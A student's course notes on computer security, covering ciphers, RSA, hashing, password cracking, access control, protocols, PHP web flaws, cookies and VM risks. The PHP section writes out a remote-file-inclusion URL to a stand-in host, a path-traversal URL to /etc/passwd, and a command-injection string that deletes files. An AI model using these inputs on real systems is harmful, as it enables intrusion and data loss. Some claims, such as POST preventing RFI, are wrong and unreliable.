Lecture Notes
CS140

notes

Fundamentals

Two General Features of Computer Security
There is no such thing as 100% computer security. Theory doesn't always work in practice due to factors such as implementation, deployment, maintenance, involved parties, location, and temptation.

CIA Security Model
Confidentiality - no unauthorized disclosure, *Integrity* - no unauthorized change, *Availability:* - users are not denied access to resources or experience unwarranted delays.

Types of Attacks/Security Incidents
Malware includes Viruses and Worms: a worm does not need a host program and is standalone); DOS: Denial of Service attack, Hacktivism - political movements; Social Engineering - making the public behave a certain way, Physical Security.

The Meaning of Basic Security Terminologies
Asset is something valuable, Vulnerability is a flaw in design that could be exploited, Threat is a potential for violation of security, Risk is probability of the attack, Attack is an assault on security.

Different Methods to Evaluate and Address Risks
Prevention: firewall, passwords, encryption, backup, training staff etc. Detection, Reaction. **DREAD** model: Damage, Reproducibility, Exploitability, Affected users, Discoverability. Can also use Fault Tree Analysis.d

Secret key-based encryption

What is secret key-based encryption
The key is a secret, only known to the communicating parties. Same key is used for encryption and decryption. Also called shared key encryption, single key encryption, symmetric key encryption.

Steganography: why, how and LSB
Steganography hides the message in the plain text to avoid suspicion. It does so through: coverMedium + hiddenData + steganoKey = steganoMedium. LSB insertion: replace LSB of coverMedium with the hiddenData

Permutation, Substitution
Permutation changes the order of letters in plaintext(no new information), substitution changes the letters in plaintext, and they shall be recovered using an instruction or a key.

Monoalphabetic substitution (frequency attack)
Substitution that maps one-to-one to the original set of letters (Caesar's cipher). Easy to break with frequency analysis (certain letters have a specific frequency of occurrence). ZEBRASCDFGHIJKLMNOPQTUVWXY

Polyalphabetic substitution
Use a key to decide which ciphertext alphabet is applied in each substitution (Vigenère cipher). Keyword is similar length to the plaintext.

	A	**B**	···	**Y**	**Z**
A	*A*	*B*	···	*Y*	*Z*
B	*B*	*C*	···	*Z*	*A*
···	···	···	···	···	···
Y	*Y*	*Z*	···	*W*	*X*
Z	*Z*	*A*	···	*X*	*Y*

Use XOR to implement substitution
XOR produces unique encryption, unlike AND and OR. Apply XOR over plaintext and key. Used to encrypt and decrypt binary message and key (symmetric).

One time pad
Each letter in the message is encrypted using a different alphabet. Unbreakable. But, two parties need to know a never-ending key. (also hard to share securely).

Principles of good encryption
1. Confusion If we change a bit of the key, multiple parts of the ciphertext will change to hide the relationship between ciphertext and key.
2. Diffusion If we change a character of the plaintext, then multiple characters of the ciphertext should change to spread the statistical structure of plaintext over multiple parts of the ciphertext and Hide the relation between ciphertext and plaintext.
3. Ciphertext is **hard to break** even with the most generous assumptions: Know the encryption process, initial settings (e.g., key length) - all as long as the key is secret.
4. Management of the encryption scheme must be **feasible** and **cost-effective**: Long key is secure but hard to manage. Whole cryptographic management system should be considered.

DES and AES
DES is based on Feistel approach. It uses **64-bit plaintext** block size for block cypher, **56-bit secret key**. Performs 16 rounds of public encryption operations per block using substitution and permutation. Problem: short key, breaks under brute force. **AES** is the new standard. Uses **128-bit block size**, **128/192/256-bit key** and faster implementation (only uses 1 S-box, while DES uses 8 distinct ones). Similar block cipher features but uses a substitution-permutation network (SPN) - matrix operations. A **block** cipher encrypts blocks of data one at a time (e.g., DES), while **stream** cipher encrypts each input element (bit or byte) one at a time.

Public Key Encryption

Properties of modular arithmetic
$a \equiv b \mod n$: a is congruent b modulo n (same remainder). $y^x \mathrm{mod} p$ is called modular exponentiation

$$\begin{aligned}
(a+b) \mod n &\equiv ((a \mod n) + b) \mod n \\
&\equiv ((a \mod n) + (b \mod n)) \mod n \\
(a \cdot b) \mod n &\equiv ((a \mod n) \cdot b) \mod n \\
&\equiv ((a \mod n) \cdot (b \mod n)) \mod n \\
x^{ab} \mod n &\equiv ((x^a \mod n)^b \mod n) \\
&\equiv ((x^b \mod n)^a \mod n)
\end{aligned}$$

Primitive root
Successive powers of y taken mod p generate all numbers from in $[1, p-1]$. $2^0 \mathrm{mod} 5 = \underline{1}$, $2^1 \mathrm{mod} 5 = 2$, $2^2 \mathrm{mod} 5 = 4$, $2^3 \mathrm{mod} 5 = 3$, $2^4 \mathrm{mod} 5 = \underline{1}$. Hence 2 is primitive root mod 5 because results include 1, 2, 3, 4.

One way function
$k = y^x \mathrm{mod} p$, with y primitive root mod p, p is very large. Probability that x is correct is $\frac{1}{(p-1)}$ when guessing.

RSA encryption
Public key: **n**$= p \cdot q$, for large secret prime numbers p, q Take $1 \leq$ **e** $\leq (p-1)(q-1)$: prime, relatively prime to $(p-1)(q-1)$ and compute ciphertext **C**$=M^e \mathrm{mod} n$ from message M (Encryption). To Decrypt that message, find **Private** key d s.t. $(e \times d) \mathrm{mod}(p-1)(q-1) = 1$ (+1/e) and find message using $M = C^d \mathrm{mod} n$. RSA is secure because either have to intercept C and inverse exponentiation one-way function, or need to factorise p, q out of n, both of which are infeasible. Encryption($O(k^2)$), Decryption($O(k^3)$). Public encryption slower because the key is longer than private.

Digital Signature

Symmetry property of public key encryption
Decrypt(Encrypt(M)) = (Encrypt(Decrypt(M)) = M

The use of second way of encryption
Encrypt M with private to get C, anyone can decrypt C with public key. Useful for keeping Integrity, Authentication, Non-repudiation by sending C, M, and then decrypting C to get M' to see whether M=M'

Digital signature
Don't need to send the whole M using second way. Generate hash of M, encrypt with sender's private key, send with the message. To verify: decrypt the hash, compare it to the hash of M. However, anyone can create a public key and claim it belongs to somebody else, hence making it weak

Message authentication code (MAC)
Needs a shared secret key, hence failing non-repudation. But much faster than Digital Signature because uses secret key encryption.

Certificate

Digital Certificate (DC)
A Certificate Authority (**CA**) is a "trusted" third party that certifies a public key belongs to somebody. Root certificate is the one that CA issues to itself. An X.509 certificate includes: Subject (name of the user), their public key, CA's subject and digital signature of CA. But there is no centralised CA, hence users establish chains of trust, all constructing the Web of Trust

Web of trust
There are two aspects: **validity**: If user A is certain that B's public key belongs to B, then A signs B's DC and sets their validity to be "full", otherwise "unknown" or "marginal", and **trust**: if A is confident that B will be careful when signing other users' DC's, A sets B's "trust" to be "full" or "marginal", otherwise "unknown". User C's key is considered valid by A if the key has been signed by at least one user with "full" or at least n users with "marginal" trust from A, but only if the distance of connection is less than a set amount. "Ultimate" trust breaks that thershold distance.

Hashing Algorithm

SHA-256
Hash algorithm maps an input of arbitrary length to a fixed length "hash" or "digest". The message is divided into 512-bit blocks, and padded if necessary, to make its length a multiple of 512. Then, initialise 8 H variables (first 32 bits of the fractional part of the square roots of the first 8 prime numbers) and generate 64 32-bit words from each block(16 by splitting M, 48 by using formula), process one block at a time, update the 8H variables until all blocks are processed. Finally, join final 8 H variables - this is the hash. Hashing is **not encryption!** because doesn't need a key. It's also a one-way function, collision resistant: hard to find M_1, M_2 that generate same hash.

Padding
Pad a message M of length L to make it a multiple of 512. First, append a single 1-bit and k 0-bits to M where k$\in \mathbb{Z}^+$ is the smallest s.t. $(L \mod 512) + 1 + k = 448$. Append 64-bit length L to M. If $(L \mod 512) > 448$ then pad until next block contains 448 bits and then pad the remaining 64 bits using the message length.

PGP encryption
A box with two keys (public to lock, private to unlock). For you to send a message, your friend first needs to send the box (that can only be unlocked with their private key), and their public key - you will then have to encrypt your message with their public key and send it, finally, your friend will be able to unlock it with their private key.

Authentication

Password strength and entropy
Entropy $x = \log_2 W^L = L \log_2 W$, with L: length of password, W: size of character set. It measures the maximum uncertainty of a password (how guessable). Only password hashes should be stored, never passwords them self.

Cracking password hashes
Brute Force guesses a password, hashes it, and checks whether a given hash is equal to the correct one, takes too long to run, but will always crack the password.

Dictionary attack is same, but uses common words and combinations retrieved from the internet or dictionaries.

Lookup Tables do it even more efficiently, by precomputing hashes of guesses, so when guessing don't need to hash again(faster). But, all of the above are slow, and require a lot of space.

Reverse Lookup Tables use hash chains. Define reduction function R that maps hash values back into password domain P, but not the inverse of the hash function. Then, keep alternating them: $p1 \xrightarrow{H} h1 \xrightarrow{R} p2 \xrightarrow{H} h3 \xrightarrow{R} p3$, here k = 2. Only need to store p_1, p_{k+1}. To crack: given hash h, apply $h \xrightarrow{R} p'1 \xrightarrow{H} h'1... \xrightarrow{R} \underline{p}$, and if p matches one of the end passwords, get corresponding start password, and recreate hash chain. Then, password immediately preceding h in the chain is the matching password. Extend the chain if false positive is found.

Rainbow Table uses different R functions in different reduction stages when generating the hash chain: $p1 \xrightarrow{H} h1 \xrightarrow{R_1} p2 \xrightarrow{H} h2 \xrightarrow{R_2} ...$ to avoid chain collisions. Upon a match: try applying $R_K, R_1, ..R_{K-1}$ until $R_1...R_K$

Password salt
A salt s is a randomly generated number added to the password to make it stronger: h=Hash(password+salt), storing h, s in /etc/shadow or /etc/passwd. Upon login: connect password with salt, hash and compare to h. Salt makes the passwords too long to be effectively broken by pre-computed tables (need to much space and time)

Biometric authentication
Does not have a clear cut yes or no: False negatives : "authorized person denied", False positives: "baddie is accepted"

Access Control

Access subject and object
Access Control: specify which subject has what permission to access which object. Subj. → Access Request → Reference monitor → obj. **Object**: the thing we want to access, **Subject**: what/who is doing the accessing, Fred (subject) wants to read the password file (object)

Two principles of access control
Principle of **least Privilege** - give the least rights necessary, Principle of **Fail-safe Defaults** - deny access by default, unless otherwise verified

Different access control models
Discretionary Access Control (**DAC**): object controls are set by the owners (subjects). In Mandatory Access Control (**MAC**), there is an "across the board" policy" enforced by the system, uses multi-level security.

The data structures to represent the permission in DAC
Access control, needs a way of specifying the permissions and storing information about them. In Access Control Matrix, (**ACM**) row is subject (capability), column is object (ACL), although it's likely to be sparse (bad). Access control list (**ACL**): for each **object**, store which subjects have what permissions, hence indexed by objects: good for getting permissions of an object, but bad for subjects, capability is the opposite. **Capability** list: for each **subject**, store what permissions it has on each object, so indexed by subjects. `chmod` changes the file permissions, ACL changes individual user access. `setfacl` -m modifies, -x removes ACL entries, -dm sets default ACL entries for directories, `getfacl` displays the current ACL settings. The mask value restricts the maximum permissions for users and groups other than the owner

Multi-level security model (MLS)
Security level (S) (sensitivity): Top, Secret, Secret, Confidential, Unclassified. **Category (C)**: the project or the job involved. Security **Label** $L = (S, C)$, example (Top Secret,{project1, project2}). Each obj is assigned $L(o)$ - classification, subj $L(s)$ - clearance security labels.

Acess Rules and lattice
No read up and no write down. subj **reads** obj iff $L(s) \geq L(o)$ (clearance dominates classification), **appends** to obj iff $L(s) \leq L(o)$ (classification dominates clearance), and **writes** to obj iff $L(s) = L(o)$.

Compare labels: $(c_1, X_1) \leq (c_2, X_2)$ iff $c_1 \leq c_2, X_1 \subseteq X_2$. A **lattice** is a set of L that meets: $\forall a, b \in L. \exists$ `lub` $u = (a \cup b) \subseteq L$ and `glb` $l = (a \cap b) \subseteq L$.

Use **lub** to find min security label to assign to a **subject** so it can read both objects, **glb** to find max security to assign to an **object** so that both subjects can read it. Example: $l_1 = (c_1, X_1), l_2 = (c_2, X_2)$, then `lub` $(l_1, l_2) = (\max(c_1, c_2), X_1 \cup X_2)$, `glb` $(l_1, l_2) = (\min(c_1, c_2), X_1 \cap X_2)$

Security Protocols

Protocol format
Protocol is a fixed pattern of exchanges (steps) between parties to achieve a certain task. It follows the format: $A \to B : M_1, B \to A : M_1$

Replay attack
When Alice sends $M_1 = [\text{I'm Alice}]_{\text{Alice}}$, (her message signed by her private key) and Bob simply sends a message $M_2 =$ "I'm Bob", creating a **unilateral** authentication, then third party Eve can intercept M_1 and send it to Bob, hence being authenticated on the Bob's side.

Preventing replay attack
Bob generates random numeric **session token** R, sends it to Alice, and Alice sends $[\text{R}]_{\text{Alice}}$ back to Bob, creating: $A \to B : \text{I'm Alice}, A \leftarrow B : R, A \to B : [\text{R}]_{\text{Alice}}$. Can also use **timestamping** in encrypted message, to make old intercepted messages invalid.

Unilateral and Mutual authentication
Unilateral: Authenticate one way, Mutual authentication - both ways. **Compact** protocol: $A \to B : \{\text{"I'm Alice"}, R_A\}; A \leftarrow B : \{R_B, [R_A]_{\text{Bob}}\}; A \to B : [R_B]_{\text{Alice}}$

Signature(1) vs. encryption(2) based Auth
1) $A \to B :$ "I'm Alice"$; A \leftarrow B : R; A \to B : [R]_{\text{Alice}}$
2) $A \to B :$ "I'm Alice"$; A \leftarrow B : \{R\}_{KP_{\text{Alice}}}; A \to B : R$
Where $\{R\}_{KP_{\text{Alice}}}$ is R encrypted with Alice's public key

Authentication spoofing and its solution
Alice talks to Eve (a genuine user), but Eve forwards Alice's messages to Bob, making him think that she's Alice. To prevent, when using **Signature** based-auth, include **receiver's** identity in the authentication protocol ($[R, E]_{\text{Alice}}$, which Even can't modify. When using **encryption**-based auth, enclose the **sender**'s ID: $B \to \{B, R\}_{KP_A}$

Diffie-Hellman-Merkle (DHM) protocol
Establish a secret key between parties: Alice and Bob agree on y, p in $y^x \mod p$.
1) Both choose a secret number (x above) A, B
2) Use above formula: $y^A \mod p \equiv a$, $y^B \mod p \equiv b$
3) Exchange results, use them: $b^A \mod p = a^B \mod p$ to find their mutual secret key.

Security issues in PHP

Server basics
User issues URL from a browser: http://host:port/path/file, browser sends a request, sever maps the URL to a file or program under the document directory, returns a response message, which browser formats and displays.

`GET`: get a web resource from the server; `HEAD`: get its header. `POST`: Used to post the data up to the web server; `PUT`: Ask the server to store it. `DELETE`: Ask the server to delete the data. `OPTIONS`: Ask the server to return the list of request methods it supports.

In the web page, there is the following php code: `<?php include $_GET['page']".html";?>`. Here, `$_GET[]` is an array of things the client sent in URL. In a URL http://...?page=input_parameter (everything after "?" will run using `include`)

Remote file inclusion (RFI) vulnerability
In http://...?page=http://ev.il/badscript.php?, `include` will run badscript.php, because the content after "?" will be interpreted by `GET` as input parameter of the php script. To solve this, use `POST`, as it's form parametes are placed in the body of HTTP request, which can be encrypted (more secure) instead of the header. Both are ways to submit a **form**.

Robot exclusion protocol
Robot Exclusion Protocol (**REP**) specifies which directories of the website that robot (web mining) should not scan in the `robots.txt` file, but not 100% secure, still need to provide access control protection.

Path exploit
Path Exploits try to enter the directory or access files that are not intended to be accessible. Here, http://www.ex.com/../etc/passwd would display the password when `allow_url_fopen` is set "on" in `php.ini` (allows viewing files of all kinds)

Command injection
Php provides functions to invoke shell commands, so OS command injection attack can run any code:
`qshell_exec(\ls *; rm *");, qpassthru(\ls *; rm *");`

Cookies and https

Purpose of cookies
Cookies store **stateful** info from past sessions in clients' web browser, used at **client** side. First visit: server sends the cookie, next visits: user's browser sends the session id to the server: if id valid - auth is granted, and cookie is retrieved, hence creating a personalised webpage, sent to the browser by http. **Session** is a data structure used to store the temporary info during the interaction between the client and server, used at **server** side

Components in Cookie
Cookies are set using Set-cookie header in http response message. Set-Cookie: `Domain`: website (scope of the cookie), `Httponly`: Whether http is the only way to access it, `Hostonly`: cookie is sent only when the root domain is requested (e.g., www.example.com, not subdomain such as foo.example.com), `Secure`: whether to use a secure connection (https) to communicate the cookie

Security issues of cookies
JavaScript can manipulate cookies using `document.cookie`, PHP - with `$_COOKIE[]`. Although cookies are just pieces of text, which cannot carry viruses or install malware, they can violate **privacy** (contain sensitive info about user such as name, location etc.; 3rd party cookies.) and **authentication** (Can carry session ID used to avoid repeated auth)

Typical security attacks related to cookies
Network **eavesdropping**: communication info (incl. cookies) between browser and server can be intercepted, and used or modified to impersonate a user (by forwarding the cookie). Can be prevented by using https. **Third party** cookies contain content from a different domain (e.g. ads), and communicate with that domain, hence building up user history. To prevent: Block third-party cookies in browser settings. Cross-site scripting (**XSS**): attacker injects a script into a page, so when user visits the page, the script is loaded and ran by their browser. **Phishing** false sub-domain: assume the client and the server www.ex.com have established a set of cookies, an attacker creates fake DNS: fake.www.ex.com, which is a subdomain of the server, with attacker's IP address. When user clicks on it, they will be shown the proper website, but submit the cookies to the fake website. Cross-site **request forgery** - attacker injects HTML element into the page, which when loaded by the user, will execute without requiring further auth (because the user is already auth.)

HTTPS protocol
https makes pages run on top of **SSL** (Secure Sockets Layer) or **TLS** (Transport layer Security) to provide authentication, confidentiality and integrity.

SSL/TLS
To **Authenticate** web server - it needs to obtain the certificate signed by the Certificate Authority (CA), so it sends its certificate to **web client**, installed in the root directory of CA(Verisign), who uses the public key from the CA's root certificate to verify server's certificate is genuine. To provide **encryption** and **integrity** between client and server, need to: **1)** Client sends an initial message to the server to agree on • Method used to exchange the encryption key (DHM, RSA), • Algorithm used to encrypt the message (DES, RSA), • Method that generates the message hash (SHA-256), **2)** Client generates DS or MAC and sends them to the sever along the encrypted message, which server decrypts and verifies.

Security issues in VM

Positive impact of virtualization

Isolation: Each guest OS is isolated from the host OS.

State recording: It is easy to record and restore the state of VM's, including virus removal.

Transience: VM only runs when needed, as opposed to servers, which are always on VM is online and offline on demand.

External Monitoring due to **Low privilege**: VM runs above the hypervisor and has less privilege than hypervisor, hence if guest OS is infected, it can be analysed, as opposed to traditional OS, which can only be monitored by itself.

Negative impact of virtualization

Transience: Infected VMs may appear briefly and disappear before they can be detected hence occasionally infecting other machines when the conditions are right.

State Restoring: When restoring a guest OS, previously applied security patches disappear. Storing state changes violates the **fundamental principle** for building secure systems - minimizing the amount of time that sensitive data remains in a system

Mobility: VM's are virtual, making it easy to steal. VM will not signify intrusion if attacker accessed an unused copy of an OS. Also, attacker can access files evne while the VM is offline.

Easy creation: VM's can be created rapidly and uniquely, hence making it infeasible to supervise every one.
Identity: In a virtualized system, there is only one physical MAC address, but multiple VMs running (violates non-repudation), and not feasible to use port number, as it can be used by multiple VM's.
Hypervisor intrusion: Hypervisor controls all VMs in a PM, so if compromised, the attacker can access all VM's. The host OS is also in danger, as hypervisor converts executables from VM's to the host OS.

Inter-VM Communication: A malicious VM can potentially access other VMs through the shared resources, such as shared memory, network connections, etc.

Denial of Service: Hypervisors prevent any VM from gaining 100% usage of any resources to prevent it.